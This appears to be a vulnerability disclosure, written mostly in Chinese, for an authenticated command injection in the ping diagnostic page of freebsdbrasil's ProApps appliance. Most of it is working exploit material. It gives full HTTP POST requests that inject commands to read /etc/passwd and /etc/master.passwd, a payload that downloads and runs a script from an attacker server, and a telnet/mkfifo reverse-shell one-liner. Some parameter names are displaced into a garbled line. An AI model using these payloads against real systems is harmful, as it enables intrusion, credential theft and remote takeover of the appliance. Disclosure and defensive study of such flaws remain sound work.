Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
远程代码执行
该漏洞是由于用户可以通过应用程序的 ping 功能,在 Unix 环境中添加命令序列操作符(如 ;、&& 或 |)来注入系统命令。要利用该漏洞,需要经过身份验证。用户必须属于名为 'Status' 的权限组,并拥有 'Modified' 权限。此外,成功利用还需要绕过输入清理。应用程序仅在前端验证用户输入,因此需要通过网络代理发送请求,从而绕过应用程序施加的限制。
认证后,需要访问一个名为 sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view) 的页面。该页面提供了一个向任意主机发送 ICMP 请求的功能。关于 ping 工具和 ICMP 协议(请求与应答)的更多信息,请参考参考资料部分提到的 RFC。
应用程序会发送一个包含参数 host、testar_pacote 和 的 POST 请求,其中 是 ping 的目标, 指定发送的 ICMP 请求数量, 是数据包的生存时间。发送请求后,应用程序会在 Unix 系统上执行以下命令:。下面是一个展示该功能的 POST 请求:
ttlhosttestar_pacoteTTLping -c $testar_pacote $hostPOST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
这里存在一个攻击向量。用户可以通过网络代理发送恶意的 POST 请求来绕过输入清理,在 host 参数后追加命令序列操作符(;、&& 或 |),从而利用该漏洞。这样,web 应用程序将执行上述 ping 命令,随后还会执行附加的命令。例如,可以读取敏感文件如 /etc/passwd、/etc/master.passwd,或者获取反弹 shell 或执行任意命令。
以下是一个精心构造的恶意 POST 请求示例:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
发送 HTTP POST 请求到 sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
通过在指定端口上使用 Netcat 监听,可以成功打开一个反弹 shell。
RCE(远程代码执行)漏洞允许攻击者在远程设备上执行任意代码,可能导致系统完全沦陷、数据泄露、横向移动、恶意软件部署以及声誉和财务损失。